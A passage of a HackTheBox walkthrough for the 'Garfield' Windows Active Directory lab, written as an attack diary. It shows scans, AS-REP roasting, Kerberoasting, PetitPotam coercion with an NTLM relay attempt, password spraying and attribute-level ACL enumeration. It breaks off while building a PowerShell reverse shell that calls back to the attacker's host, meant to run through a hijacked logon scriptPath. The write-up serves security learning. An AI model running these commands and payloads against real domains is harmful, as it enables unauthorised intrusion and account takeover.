HTB Attack Diary — Garfield (Hard, Windows)
⚠️ Disclaimer: This writeup documents the exploitation of the "Garfield" machine on HackTheBox — a legal lab environment designed for security learning and research. All techniques are presented for educational purposes only. Never use these techniques against systems you don't have authorization to test.

Introduction
Garfield is a Hard-rated Windows machine that simulates a realistic Active Directory environment with a primary Domain Controller (DC01) and a Read-Only Domain Controller (RODC01). You're handed a set of domain credentials from the start — assume breach, just like a real internal engagement.
What looked like a dead end after initial enumeration slowly unraveled into a 6-stage attack chain: from a logon script nobody was watching, through a password reset chain nobody locked down, to an RODC Golden Ticket that collapsed the entire domain's security model. This was my first Hard-rated box on HackTheBox — and the one that taught me that the tools you trust the most can also be the ones that lie to you.
Phase 1: Reconnaissance — "Mapping the Kingdom."
First Knock — Naabu
I started the way I always start — a full port scan with naabu to get the lay of the land, then nmap for service fingerprinting.
┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.112 -p - -s s -verify
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running SYN scan with CAP_NET_RAW privileges
10.129.195.112:5985
10.129.195.112:445
7f06:cbaa:a81:c370:a0a:e2a:1761:9f91:445
10.129.195.112:52113
7f06:cba9:a81:c370:a0a:e2a:1bd:9f91:52113
10.129.195.112:49673
7f06:cba8:a81:c370:a0a:e2a:cb91:9f91:49673
10.129.195.112:53
7f06:cba7:a81:c370:a0a:e2a:c209:9f91:53
10.129.195.112:88
7f06:cba6:a81:c370:a0a:e2a:35:9f91:88
10.129.195.112:49670
7f06:cba5:a81:c370:a0a:e2a:58:9f91:49670
10.129.195.112:593
7f06:cba4:a81:c370:a0a:e2a:c206:9f91:593
10.129.195.112:49674
7f06:cba3:a81:c370:a0a:e2a:251:9f91:49674
10.129.195.112:389
7f06:cba2:a81:c370:a0a:e2a:c20a:9f91:389
10.129.195.112:49671
7f06:cba1:a81:c370:a0a:e2a:185:9f91:49671
10.129.195.112:636
4006:7cd0:a0a:e2a:a81:c370:9f91:9f91:636
10.129.195.112:3268
7f06:cb9f:a81:c370:a0a:e2a:27c:9f91:3268
10.129.195.112:49899
7f06:cb9e:a81:c370:a0a:e2a:cc4:9f91:49899
10.129.195.112:3389
7f06:cb9d:a81:c370:a0a:e2a:c2eb:9f91:3389
10.129.195.112:2179
7f06:cb9c:a81:c370:a0a:e2a:d3d:9f91:2179
10.129.195.112:3269
7f06:cb9b:a81:c370:a0a:e2a:883:9f91:3269
10.129.195.112:9389
7f06:cb9a:a81:c370:a0a:e2a:cc5:9f91:9389
10.129.195.112:49666
7f06:cb99:a81:c370:a0a:e2a:24ad:9f91:49666
Looking Closer — Nmap
19 ports came back open. That's a lot of doors — but for a Domain Controller, it's expected. DNS, Kerberos, LDAP, SMB, RPC... the usual suspects. I filtered out the high ephemeral RPC ports and fed the meaningful ones into nmap:
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -Pn -p 53,88,389,445,593,636,2179,3268,3269,3389,5985,9389,49666,49670,49671,49673,49674,49899,52113 10.129.195.112 -T4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-07 03:49 -0400
Nmap scan report for garfield.htb (10.129.195.112)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-07 15:54:07Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after: 2026-08-15T01:10:36
|_ssl-date: 2026-04-07T15:55:40+00:00; +8h04m15s from scanner time.
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-07T15:55:01+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49899/tcp open msrpc Microsoft Windows RPC
52113/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-07T15:55:04
|_ start_date: N/A
|_clock-skew: mean: 8h04m14s, deviation: 0s, median: 8h04m14s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.73 seconds
The RDP certificate leaked the hostname: DC01.garfield.htb. Product version 10.0.17763 confirmed Windows Server 2019. SMB signing was enabled and required — no relay attacks against SMB, then. I added garfield.htb and DC01.garfield.htb to /etc/hosts and moved on.
Reconnaissance done. I had a clear picture of the target — a Windows Server 2019 Domain Controller with all the standard AD services. Now I needed to find out what my low-privilege account could actually touch.
Phase 2: Initial Enumeration — A Thousand Groups, Zero Paths
The Starting Point
The machine description handed me credentials upfront: j.arbuckle / Th1sD4mnC4t!@1978 — a standard domain user, no special privileges. Typical "assume breach" scenario.
First things first — confirm the credentials work and see what doors they open.
┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'
SMB 10.129.195.112 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.195.112 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
Valid. No Pwn3d! — just a regular domain user with nothing special. Or so I thought.
SMB — Reading the Signs Wrong
┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB 10.129.195.112 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.195.112 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.195.112 445 DC01 [*] Enumerated shares
SMB 10.129.195.112 445 DC01 Share Permissions Remark
SMB 10.129.195.112 445 DC01 ----- ----------- ------
SMB 10.129.195.112 445 DC01 ADMIN$ Remote Admin
SMB 10.129.195.112 445 DC01 C$ Default share
SMB 10.129.195.112 445 DC01 IPC$ READ Remote IPC
SMB 10.129.195.112 445 DC01 NETLOGON READ Logon server share
SMB 10.129.195.112 445 DC01 SYSVOL READ Logon server share
Standard DC shares. Only READ on NETLOGON and SYSVOL — nothing writable, nothing custom. I glanced at the output and moved on. What I didn't think about: share-level permissions and NTFS-level permissions are two different things, and netexec --shares only tells you about the first one. The scripts subfolder inside SYSVOL could have had its own NTFS ACL — far more permissive than what the share output suggested. But I didn't test that. The output said READ, so I took it at face value and kept walking — an assumption that would cost me hours later.
Domain Users — Familiar Faces
┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB 10.129.195.112 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.195.112 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.195.112 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.195.112 445 DC01 Administrator 2025-10-03 17:29:26 0 Built-in account for administering the computer/domain
SMB 10.129.195.112 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.195.112 445 DC01 krbtgt 2025-08-13 11:05:26 0 Key Distribution Center Service Account
SMB 10.129.195.112 445 DC01 krbtgt_8245 2025-08-17 11:33:39 0 Key Distribution Center service account for read-only domain controller
SMB 10.129.195.112 445 DC01 j.arbuckle 2025-09-09 15:50:55 0
SMB 10.129.195.112 445 DC01 l.wilson 2026-01-27 21:40:33 0
SMB 10.129.195.112 445 DC01 l.wilson_adm 2026-01-13 14:56:35 0
SMB 10.129.195.112 445 DC01 [*] Enumerated 7 local users: GARFIELD
Seven users. Small domain — fewer places to hide, but also fewer attack surfaces. The naming convention told a clear story: l.wilson and l.wilson_adm — a regular user and their privileged counterpart. Classic admin tiering. Compromise one, and the other is probably within reach.
But the most interesting entry wasn't a person at all. krbtgt_8245 — a KDC service account dedicated to a Read-Only Domain Controller. RODC01 wasn't just a hostname sitting in BloodHound data. It was a real machine with its own Kerberos key distribution, its own trust boundaries, and its own attack surface. I filed that away for later.
SYSVOL — A Script Hiding in Plain Sight
I dug into SYSVOL looking for Group Policy Preferences passwords, startup scripts, or anything that shouldn't be there.
┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.129.195.112/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'recurse ON; prompt OFF; ls'
. D 0 Wed Aug 13 07:04:43 2025
.. D 0 Wed Aug 13 07:04:43 2025
garfield.htb Dr 0 Wed Aug 13 07:04:43 2025
\garfield.htb
. D 0 Wed Aug 13 07:11:05 2025
.. D 0 Wed Aug 13 07:11:05 2025
DfsrPrivate DHSr 0 Wed Aug 13 07:11:05 2025
Policies D 0 Wed Aug 13 07:04:48 2025
scripts D 0 Tue Jan 27 17:13:47 2026
\garfield.htb\DfsrPrivate
NT_STATUS_ACCESS_DENIED listing \garfield.htb\DfsrPrivate\*
\garfield.htb\Policies
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
{31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Wed Aug 13 07:04:48 2025
{6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Wed Aug 13 07:04:48 2025
\garfield.htb\scripts
. D 0 Tue Jan 27 17:13:47 2026
.. D 0 Tue Jan 27 17:13:47 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
GPT.INI A 22 Tue Sep 9 11:55:03 2025
MACHINE D 0 Wed Aug 13 07:11:08 2025
USER D 0 Wed Aug 13 07:04:48 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
GPT.INI A 23 Fri Feb 13 20:14:50 2026
MACHINE D 0 Tue Sep 9 12:43:51 2025
USER D 0 Wed Aug 13 07:04:48 2025
\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
. D 0 Wed Aug 13 07:11:08 2025
.. D 0 Wed Aug 13 07:11:08 2025
Microsoft D 0 Wed Aug 13 07:04:48 2025
Registry.pol A 2792 Wed Aug 13 07:11:08 2025
\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE
. D 0 Tue Sep 9 12:43:51 2025
.. D 0 Tue Sep 9 12:43:51 2025
Microsoft D 0 Wed Aug 13 07:04:48 2025
Scripts D 0 Tue Sep 9 12:43:51 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
Windows NT D 0 Wed Aug 13 07:04:48 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
Windows NT D 0 Tue Sep 9 12:44:18 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Scripts
. D 0 Tue Sep 9 12:43:51 2025
.. D 0 Tue Sep 9 12:43:51 2025
Shutdown D 0 Tue Sep 9 12:43:51 2025
Startup D 0 Tue Sep 9 12:43:51 2025
\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
. D 0 Wed Aug 13 07:04:48 2025
.. D 0 Wed Aug 13 07:04:48 2025
SecEdit D 0 Tue Sep 9 11:55:03 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT
. D 0 Tue Sep 9 12:44:18 2025
.. D 0 Tue Sep 9 12:44:18 2025
Audit D 0 Tue Sep 9 12:44:18 2025
SecEdit D 0 Fri Feb 13 20:14:50 2026
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Scripts\Shutdown
. D 0 Tue Sep 9 12:43:51 2025
.. D 0 Tue Sep 9 12:43:51 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Scripts\Startup
. D 0 Tue Sep 9 12:43:51 2025
.. D 0 Tue Sep 9 12:43:51 2025
\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
. D 0 Tue Sep 9 11:55:03 2025
.. D 0 Tue Sep 9 11:55:03 2025
GptTmpl.inf A 1098 Tue Sep 9 11:55:03 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\Audit
. D 0 Tue Sep 9 12:44:18 2025
.. D 0 Tue Sep 9 12:44:18 2025
audit.csv A 535 Tue Sep 9 12:44:34 2025
\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
. D 0 Fri Feb 13 20:14:50 2026
.. D 0 Fri Feb 13 20:14:50 2026
GptTmpl.inf A 3904 Fri Feb 13 20:14:50 2026
Deep inside the directory tree: two default GPOs, the usual GptTmpl.inf and audit.csv files, and one thing that stood out — garfield.htb\scripts\printerDetect.bat. A script sitting in the SYSVOL scripts folder. I pulled it down.
┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.129.195.112/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'get garfield.htb\scripts\printerDetect.bat'
getting file \garfield.htb\scripts\printerDetect.bat of size 217 as garfield.htb\scripts\printerDetect.bat (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
┌──(root㉿kali)-[/home/kali]
└─# cat printerDetect.bat
@echo off
echo Detecting installed printers...
echo ==============================
wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table
echo.
echo Printer detection completed.
pause
A printer detection script. Nothing sensitive — no hardcoded credentials, no UNC paths to interesting shares, no PowerShell downloads. Just wmic doing inventory work. I almost dismissed it entirely.
Almost. Because a logon script sitting in SYSVOL is only harmless if nobody can change what it points to. I didn't know it yet, but this script — or rather, the attribute that controls which script runs at login — would become the entire foothold.
BloodHound — The Tool That Lied by Omission
Time to map the domain's attack surface properly. I ran bloodhound-python to collect everything:
┌──(root㉿kali)-[/home/kali]
└─# bloodhound-python -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb -ns 10.129.195.112 -c all --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: garfield.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.garfield.htb
INFO: Testing resolved hostname connectivity dead:beef::a9a3:eefc:8283:4d4b
INFO: Trying LDAP connection to dead:beef::a9a3:eefc:8283:4d4b
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.garfield.htb
INFO: Testing resolved hostname connectivity dead:beef::a9a3:eefc:8283:4d4b
INFO: Trying LDAP connection to dead:beef::a9a3:eefc:8283:4d4b
INFO: Found 8 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: RODC01.garfield.htb
INFO: Querying computer: DC01.garfield.htb
INFO: Done in 01M 48S
Two computers — DC01 and RODC01. Eight users. Fifty-five groups. I imported the JSON data into BloodHound and went straight for j.arbuckle:
The panel told me everything and nothing at the same time. Member of three groups: Users, Domain Users, and IT Support:
Admin Count: FALSE. Local Admin Privileges: 0. Execution Privileges: 0. And the number that would haunt me for hours — Outbound Object Control: 0:
Zero. According to BloodHound, j.arbuckle had no control over any other object in the entire domain. No GenericAll, no GenericWrite, no WriteDACL, no ForceChangePassword — nothing. The user was a ghost with a valid badge.
I ran Pathfinding anyway. Start node: J.ARBUCKLE@GARFIELD.HTB. End node: DOMAIN ADMINS@GARFIELD.HTB.
"Path not found."
I stared at that message longer than I'd like to admit, clicking through nodes, running every pre-built query I could find. Nothing. The graph showed j.arbuckle floating alone — a lonely node in a sea of fifty-five groups with no edges leading anywhere useful. No outbound control, no path to Domain Admins, no low-hanging fruit. That sinking feeling when your main recon tool gives you absolutely nothing — I knew this was going to be a long night.
Here's what I didn't understand yet: BloodHound — both Legacy and Community Edition — enumerates ACLs at the object level. It catches the big permissions: GenericAll, GenericWrite, WriteDACL, WriteOwner. But Active Directory permissions are more granular than that. You can grant someone write access to a single attribute on an object, and unless a tool specifically queries for attribute-level DACLs, that permission is invisible.
j.arbuckle didn't have GenericWrite on l.wilson. He had write access to exactly one attribute: scriptPath. And that one attribute was enough to compromise the entire domain.
But I didn't know that yet. So I did what anyone would do when the map shows no roads — I started bushwhacking.
Phase 3: Dead Ends — Chasing Ghosts in the Domain
BloodHound showed nothing. No paths, no edges, no hope. But I wasn't ready to accept that a Hard-rated machine just... had no way forward. The path existed — I just couldn't see it yet. So I started throwing everything I knew at the domain, one technique at a time.
AS-REP Roasting — Nobody Home
With BloodHound giving me nothing, I fell back on the classics. AS-REP Roasting first — if any account had pre-authentication disabled, I could grab their hash and crack it offline. Quick, easy, and the kind of win that makes you feel smart.
┌──(root㉿kali)-[/home/kali]
└─# impacket-GetNPUsers garfield.htb/ -usersfile users.txt -dc-ip 10.129.195.112 -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.arbuckle doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User l.wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User l.wilson_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
Four users, four rejections. Pre-auth enforced across the board. Fine — I wasn't expecting it to be that easy anyway.
Kerberoasting — Still Nothing
Maybe there was a service account with an SPN I could roast. Even a weak password on a SQL service account would give me lateral movement.
┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978' -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
Nothing. Not a single SPN in the entire domain. Whoever built this environment didn't leave any legacy service accounts lying around. I was starting to respect the hardening.
PetitPotam — A Tempting Mirage
Two quick wins down, time for something heavier. PetitPotam — force DC01 to authenticate back to my machine via MS-EFSRPC, relay that to LDAP, and abuse it for delegation. I knew SMB signing was enforced, but maybe LDAP signing wasn't. It was worth a shot.
I set up ntlmrelayx targeting LDAP on DC01 and fired PetitPotam from a second terminal.
┌──(root㉿kali)-[/home/kali]
└─# python3 /home/kali/PetitPotam/PetitPotam.py 10.10.14.42 10.129.195.112 -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
/home/kali/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\ '
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.129.195.112[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
The coercion triggered. DC01 reached back to my machine. For a brief moment my pulse spiked — a domain controller's machine account authenticating to my relay, ready to be abused. Then the relay terminal killed it:
┌──(root㉿kali)-[/home/kali]
└─# impacket-ntlmrelayx -t ldap://10.129.195.112 -smb2support --delegate-access
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.195.112, attacking target ldap://10.129.195.112
[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)
[-] (SMB): Authenticating against ldap://10.129.195.112 as GARFIELD/DC01$ FAILED
The client requested signing. The coercion was beautiful — the environment just didn't care. That one stung more than the others. Watching a perfect attack chain crumble at the last step is a special kind of frustration.
Password Spraying — Into the Void
One last Hail Mary before I gave up on conventional attacks entirely. Maybe someone in the domain reused j.arbuckle's password.
┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u users.txt -p 'Th1sD4mnC4t!@1978' --continue-on-success
SMB 10.129.195.112 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.195.112 445 DC01 [-] garfield.htb\Administrator:Th1sD4mnC4t!@1978 STATUS_LOGON_FAILURE
SMB 10.129.195.112 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.195.112 445 DC01 [-] garfield.htb\l.wilson:Th1sD4mnC4t!@1978 STATUS_LOGON_FAILURE
SMB 10.129.195.112 445 DC01 [-] garfield.htb\l.wilson_adm:Th1sD4mnC4t!@1978 STATUS_LOGON_FAILURE
The only hit was the account I already owned.
I leaned back and let the frustration settle. Every standard technique I knew — gone. The domain was hardened, my user appeared powerless, and BloodHound was blind. But here's the thing about being stuck: it forces you to question your tools. And the question that finally broke the case open wasn't "what else can I try?" — it was "what is BloodHound not showing me?"
Phase 4: The Breakthrough — What BloodHound Couldn't See
bloodyAD — Reading the Fine Print
Every standard tool had failed me. BloodHound, Impacket, netexec — all of them agreed: j.arbuckle was powerless. But I couldn't accept that. A Hard-rated machine doesn't just hand you credentials and then leave you with nothing. The path was there. My tools just weren't granular enough to see it.
I remembered a tool I'd read about but never had a reason to use: bloodyAD. Where BloodHound queries ACLs at the object level — "does this user have GenericWrite over that user?" — bloodyAD goes deeper. It checks individual attribute permissions. The fine print that everyone skips.
┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.195.112 get writable --detail
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
scriptPath: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
The output exploded across my terminal. Dozens of writable attributes on multiple objects — cloud extension attributes, phone numbers, postal addresses, SMIME certificates. The kind of self-service fields any domain user can edit on their own account. Page after page of noise. I almost closed the terminal and moved on.
Almost.
scriptPath — The Missing Link
Buried at the very bottom of the output, four lines that changed everything:
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
I read it twice to make sure I wasn't imagining things. j.arbuckle had write access to the scriptPath attribute — on l.wilson and l.wilson_adm.
scriptPath. The attribute that controls which logon script executes every time a user signs in. If I could overwrite it, I could point it to anything — a reverse shell sitting in SYSVOL, for instance. And if the machine simulated l.wilson's login, my payload would execute as l.wilson.
This was it. The edge BloodHound couldn't see. Not GenericWrite, not WriteDACL — a single attribute-level write permission that was completely invisible to both Legacy and Community Edition. Hours of chasing ghosts, and the answer had been hiding in one DACL entry the whole time.
I thought back to Phase 2. The printerDetect.bat script sitting in SYSVOL. The --shares output that said READ. The assumption I never bothered to test. If SYSVOL's scripts folder was actually writable at the NTFS level...
Time to find out.
Phase 5: Lateral Movement — From Script to Shell
Weaponizing SYSVOL
I had write access to l.wilson's scriptPath. I had a logon script sitting in SYSVOL. The only question left — could I actually upload something to that scripts folder? The --shares output said READ. But I'd been trusting that output for hours without ever testing it.
I went with a two-stage payload. First, a PowerShell reverse shell script — shell.ps1 — that would connect back to my listener:
cat > shell.ps1 << 'EOF'
\(client = New-Object System.Net.Sockets.TCPClient("10.10.14.42",443);\)stream = $client.GetStream();
